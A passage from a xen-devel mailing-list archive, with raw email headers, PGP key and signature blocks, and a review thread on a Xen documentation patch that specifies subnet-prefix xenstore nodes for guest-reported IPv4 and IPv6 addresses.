bG93aW5nDQo+PiAgIHRhZ3MgZW5jbG9zZWQgaW4gc3F1YXJlIGJyYWNrZXRzLg0KPiANCg0K

--------------Q7ZtxvjGvkgCRji5bXI3iME0
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye
vpB0CA3dbBQp0OW0fgCetToGIQrg0MbD1C/sEOv8Mr4NAfbauXjZlvTj30H2jO0u
+6WGM6nHwbh2l5O8ZiHkH32iaSTfN7Eu5RnNVUJbvoPHZ8SlM4KWm8rG+lIkGurq
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vU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------Q7ZtxvjGvkgCRji5bXI3iME0--

--------------zBJG9eUZMNy1rcSm0mkbPhvd--

--------------5vQnBHwA5WlIS2UDTwBA4X2p
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpghAUFAwAAAAAACgkQsN6d1ii/Ey9p
cAgAhKY5zmrYcfVErxzfqyNFGy58ekl6XW+LSgtpFvyhnMlUyDne09d1hZZ61FjcZOkotc9bIoUf
ogYEgJg5VSfERB/pPEn8tajRUqpz7fHkoZSgF2K/RcNGm2BPITmdlMvOkNwAEHlvmeD9QmmWTP5b
dpnMJWftVyxr89ADIhaomIAx7sdzDIkgV3Rkqv7rKFH//PHqlu/YfIrQg1G886XABsWEljddNfC0
0Imy45kP6d8w1l/DrnF4nuWgqPelMWVlaLLaIjwDtv+4uJ3kM9DW8xItESrvn/KhHa2FIzGzw7qs
Wgh/z65GQgqi7vUNLKB4d/aagiJsATuQUN60WU5E9w==
=BzwW
-----END PGP SIGNATURE-----

--------------5vQnBHwA5WlIS2UDTwBA4X2p--


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 09:16:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 09:16:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368247.1617701 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmT3p-00044O-FU; Wed, 22 Jul 2026 09:16:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368247.1617701; Wed, 22 Jul 2026 09:16:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmT3p-00044H-C5; Wed, 22 Jul 2026 09:16:17 +0000
Received: by outflank-mailman (input) for mailman id 1368247;
 Wed, 22 Jul 2026 09:16:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f891c6ba6000edb5@swg.vates.tech>)
 id 1wmT3n-00044B-Mk
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:16:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmT3m-00F5HR-SO
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 11:16:14 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f891c6ba6000edb5@swg.vates.tech>)
 id 6a608a59-2eae-0a2a0a5409dd-0a2a450882fe-14
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 11:16:14 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f891c6ba6000edb5@swg.vates.tech>)
 id 6a608a5d-f659-0a2a45080019-b9ff1c239ecd-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 11:16:14 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f891c6ba6000edb5.004 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 22 Jul 2026 09:16:08 +0000
Received: from [192.168.1.61] (155.223.66.37.rev.sfr.net [37.66.223.155])
 (Authenticated sender: ngoc-tu.dinh@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 26A6082138;
 Wed, 22 Jul 2026 11:16:08 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=iPH49BMAeYwH6Y+pdq8cbuLOuAMAh/HrdCOR5G3R8mU=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=RMP3HUncQzxC1p/I0JuZKEZERaAheHkIJ0a29bncnDEQqav4Vc2sq/0B+VAGlZohmFt6NiR/s
 uBolYhA+729m0IlmgXw65rGBX5QtLS0EdwxpP0T6UXdiVzFuMTPjCE12OtPiOdjTVwBEEd2Bnds
 +iCYhb68Fvm8O6T7BL9c9mdMb+9Lu4jrpRK+G4l76SAaELmQu9VUyf2YnfNjscsCR8+1bcavoeR
 HLpxkypUpc9R6d49Kgyv2NC3c+p1r614wjt7sbzBY8wSI/vAYxHxu+clQyqwZiMMMzkCAOb0wBY
 xQCAXP5gRDqqco+eXx2hxKOT1SMrf0wuVHt2vKpZVCtA==
X-Zone-Loop: b88d0a23ac9c37bd47c161cbef502fe8c3bf096a81bf
x-campaign-type: default
x-transaction-id: 5b04b22b-dc4e-4036-8395-86a8c420fcd0
x-swg-uid: 01-aa54d355-1598-493a-8f5c-5bfc07328c86
X-Mailer: Sweego
Message-ID:
 <1784711769.8631fc262581453bbf619ec5b2062170.19f891c6ba6000edb5@vates.tech>
x-swg-bid: 1784711769.8631fc262581453bbf619ec5b2062170.19f891c6ba6000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 22 Jul 2026 11:16:07 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xenstore-paths: Allow subnet prefix in IP address
To: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>,
 Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <1780912172.8631fc262581453bbf619ec5b2062170.19ea6a32f2f000701b@vates.tech>
 <681d6703-6310-4ad0-a270-b5e677ee5811@suse.com>
 <acf12262-c1ee-4989-a702-d8fa7e8659ec@suse.com>
Content-Language: en-US
From: Tu Dinh <ngoc-tu.dinh@vates.tech>
In-Reply-To: <acf12262-c1ee-4989-a702-d8fa7e8659ec@suse.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.ff1.31363d9feef829a4.19f891c68eb.e2812e0b04d73cd5=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784711768299
X-purgate-ID: tlsNG-c1860d/1784711774-CCF4F87B-5555B1BE/0/0
X-purgate-type: clean
X-purgate-size: 3723

---=Part.ff1.31363d9feef829a4.19f891c68eb.e2812e0b04d73cd5=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On 22/07/2026 10:49, J=C3=BCrgen Gro=C3=9F wrote:
> On 22=2E07=2E26 09:14, Jan Beulich wrote:
>> On 08=2E06=2E2026 11:49, Tu Dinh wrote:
>>> In the guest-reported IP address in xenstore, it's useful to know whic=
h
>>> subnet it belongs to=2E
>>>
>>> Add a specification for the IPv6 host address/prefix format specified =
by
>>> RFC 4291=2E
>>>
>>> For the IPv4 address/prefix notation, as there seems to be no equivale=
nt
>>> RFC specifying the host address/prefix format, specify it ourselves=2E
>>>
>>> Signed-off-by: Tu Dinh <ngoc-tu=2Edinh@vates=2Etech>
>>
>> Btw, even if get_maintainer=2Epl doesn't say so, it would help to Cc th=
e
>> maintainer of the component the doc for which is being modified=2E
>=20
> Indeed=2E
>=20
> I'm sharing Teddy's concerns=2E We just don't know who are potential=20
> consumers
> of those Xenstore nodes=2E I know of at least three large SUSE customers=
=20
> using
> Xen having written tooling accessing Xenstore=2E
>=20
> What about adding another node for the prefix, like
>=20
>  =C2=A0 ~/attr/vif/$DEVID/ipv4/$INDEX/prefix =3D INTEGER
>=20

Okay, I'll try adding that=2E

>=20
> Juergen
>=20
>>
>> Jan
>>
>>> --- a/docs/misc/xenstore-paths=2Epandoc
>>> +++ b/docs/misc/xenstore-paths=2Epandoc
>>> @@ -78,12 +78,12 @@ VALUES are strings and can take the following form=
s:
>>> =C2=A0 * MAC_ADDRESS -- 6 integers, in hexadecimal form, separated by =
':',
>>> =C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 specifying an IEEE 802=2E3 ethernet=
 MAC address=2E
>>> -* IPV4_ADDRESS -- 4 integers, in decimal form, separated by '=2E',
>>> -=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 specifying an IP version 4 address as des=
cribed
>>> -=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 IETF RFC 791=2E
>>> -* IPV6_ADDRESS -- Up to 8 integers, in hexadecimal form, separated
>>> -=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 by ':', specifying an IP version 6 addres=
s as
>>> -=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 described in IETF RFC 4291=2E
>>> +* IPV4_ADDRESS -- An IP version 4 address as specified by IETF RFC 79=
1,
>>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 optionally appended with a "/prefix" valu=
e=20
>>> representing the
>>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 prefix length of the host address's subne=
t, with=20
>>> "prefix"
>>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 being a decimal integer in the range of 0=
 to 32=2E
>>> +* IPV6_ADDRESS -- An IP version 6 address or abbreviated "address/=20
>>> prefix"
>>> +=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 combination as specified by IETF RFC 4291=
 and RFC=20
>>> 5952=2E
>>> =C2=A0 Additional TAGS may follow as a comma separated set of the foll=
owing
>>> =C2=A0 tags enclosed in square brackets=2E
>>
>=20



-- 
Ngoc Tu Dinh | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates =
solutions

web: https://vates=2Etech
---=Part.ff1.31363d9feef829a4.19f891c68eb.e2812e0b04d73cd5=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 09:30:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 09:30:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368261.1617711 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmTHY-00079u-Mk; Wed, 22 Jul 2026 09:30:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368261.1617711; Wed, 22 Jul 2026 09:30:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmTHY-00079n-JJ; Wed, 22 Jul 2026 09:30:28 +0000
Received: by outflank-mailman (input) for mailman id 1368261;
 Wed, 22 Jul 2026 09:30:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@swg.vates.tech>)
 id 1wmTHY-00079h-0k
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:30:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmTHW-0000h2-RA
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 11:30:26 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@swg.vates.tech>)
 id 6a608dab-e002-0a2a0a5209dd-0a2a450bd4ea-40
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 11:30:26 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@swg.vates.tech>)
 id 6a608db2-b7e8-0a2a450b0019-b9ff1c23995d-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 11:30:26 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f89297b37000edb5.004 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 22 Jul 2026 09:30:24 +0000
Received: from localhost.localdomain (155.223.66.37.rev.sfr.net
 [37.66.223.155]) (Authenticated sender: ngoc-tu.dinh@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2E9DC80FAC;
 Wed, 22 Jul 2026 11:30:24 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=BRqeZwjijEP4OcHTI411PO7Zn+FWK1XqABSJ6Q9FL1Q=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=qdPWZhHLvaGBwcCnBk6B5tLXxcJlWoaYxoOz3/XqzGTl0YgClbci0aotbgZg+VWGglXJd9ia1
 Zszm/baQGChpd5+OVMX+4phthkSMnOHssM6tPyo7b145Rt1C/nDkXXwfyyFNxqDqmffSU//Rjcg
 O43WbCIAlLEtTvvGoh9/X3mysyJkqIT6ziMYCrxW6wgyusl5YW0xMIQL1AxFZTjWw2r5T4whxLm
 TI9O9nk1zd9dc+hX1qmZ+Pwk96CbVITJpwa99SwC8S7O3iLCx5sZ3yLv43usk8Z5nnkm89joEBt
 NVeC1jC2C7FHEoSejhmPZA+Q/V5fq0CHGgfVxDkv4kEQ==
X-Zone-Loop: 0db72ed56aad6e2f2f7a0c9c357257fb24133df3d1e9
x-campaign-type: default
x-transaction-id: 4d28996d-f53f-45bd-a47d-d1f8a5aa23e9
x-swg-uid: 01-be8a2c96-c43a-4387-b907-c35a97bbaa42
X-Mailer: Sweego
Message-ID:
 <1784712625.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5@vates.tech>
x-swg-bid: 1784712625.8631fc262581453bbf619ec5b2062170.19f89297b37000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Tu Dinh <ngoc-tu.dinh@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?J=C3=BCrgen=20Gro=C3=9F?= <jgross@suse.com>,
	Tu Dinh <ngoc-tu.dinh@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v2] xenstore-paths: Specify ipvX/$INDEX/prefix
Date: Wed, 22 Jul 2026 09:30:06 +0000
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.ffd.4692c8deda396797.19f892978fe.3017f5dc57e3707c=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784712624383
X-purgate-ID: tlsNG-42698a/1784712626-ABCD79EA-11E83321/0/0
X-purgate-type: clean
X-purgate-size: 1624

---=Part.ffd.4692c8deda396797.19f892978fe.3017f5dc57e3707c=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

In the guest-reported IP address in xenstore, it's useful to know which
subnet it belongs to=2E

Add a specification for a subkey of each IP address, containing that
address's subnet prefix=2E

Signed-off-by: Tu Dinh <ngoc-tu=2Edinh@vates=2Etech>
---
 docs/misc/xenstore-paths=2Epandoc | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/docs/misc/xenstore-paths=2Epandoc b/docs/misc/xenstore-paths=
=2Epandoc
index 4994194e2b=2E=2Eb8b02e007a 100644
--- a/docs/misc/xenstore-paths=2Epandoc
+++ b/docs/misc/xenstore-paths=2Epandoc
@@ -564,6 +564,16 @@ address written in one of these paths to, for example=
, establish a VNC
 session to the guest (although clearly some level of trust is placed
 in the value supplied by the guest in this case)=2E
=20
+#### ~/attr/vif/$DEVID/ipv4/$INDEX/prefix =3D INTEGER [w]
+#### ~/attr/vif/$DEVID/ipv6/$INDEX/prefix =3D INTEGER [w]
+
+Paths of this form may be written by the guest to indicate the network
+prefix length of the IP address at the corresponding $INDEX=2E
+
+An IPv4 prefix value can be in the range of 0 to 32=2E
+
+An IPv6 prefix value can be in the range of 0 to 128=2E
+
 #### ~/error [w]
=20
 A domain writable path used by some PV drivers to pass error messages
--=20
2=2E55=2E0



-- 
Ngoc Tu Dinh | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates =
solutions

web: https://vates=2Etech
---=Part.ffd.4692c8deda396797.19f892978fe.3017f5dc57e3707c=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 10:32:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 10:32:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368314.1617735 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUF6-0007D7-6x; Wed, 22 Jul 2026 10:32:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368314.1617735; Wed, 22 Jul 2026 10:32:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUF6-0007D0-3v; Wed, 22 Jul 2026 10:32:00 +0000
Received: by outflank-mailman (input) for mailman id 1368314;
 Wed, 22 Jul 2026 10:31:58 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wmUF4-0007Cu-DF
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 10:31:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmUF3-00Cm7m-90
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 12:31:57 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a609c18-bab6-0a2a0a5309dd-0a2a4501d2ae-18
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:31:57 +0200
Received: from [209.85.218.43] (helo=mail-ej1-f43.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a609c1d-5984-0a2a45010019-d155da2bb038-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 12:31:57 +0200
Received: by mail-ej1-f43.google.com with SMTP id
 a640c23a62f3a-c16794450aeso928441266b.2
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 03:31:57 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1c32ac7041sm83371966b.14.2026.07.22.03.31.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 03:31:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784716317; x=1785321117; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=x8IG4wG/qfqYCXoEYk7z9hExQPEjWKEOrKpdQ28sgHw=;
        b=ID+m5Lvkh6pedL2xTItkhcBFK4hIKVVU0SrQceXNAODzfc/YQIBrgSyr5iiG7rORo0
         Um5tAmJ12aJW2Z4NbWfz2RhtgTf9zX0Kq8ovTrOHjFZ3jAuAdGJaxh+Q428gnApcBBew
         9oOGAyUV3zetkYHPtLmTZQy3zPiIrIIJMoFXVJlsR68kyWi/F4KFEt1UkVU7DsvWS1rR
         SXXAKb5MEAyCNeDCT8q7g2kMobeo9tVpWqAXdlbyUuP+B24cWX7e8SguTx3AJYY76Kjt
         E9tqiQT4PklP62pDh2vs1TgFt9Cc/mVR+vfkhyraEUaH/xKOYPOHsqspHgTNRdl6qGaM
         EJKA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784716317; x=1785321117;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=x8IG4wG/qfqYCXoEYk7z9hExQPEjWKEOrKpdQ28sgHw=;
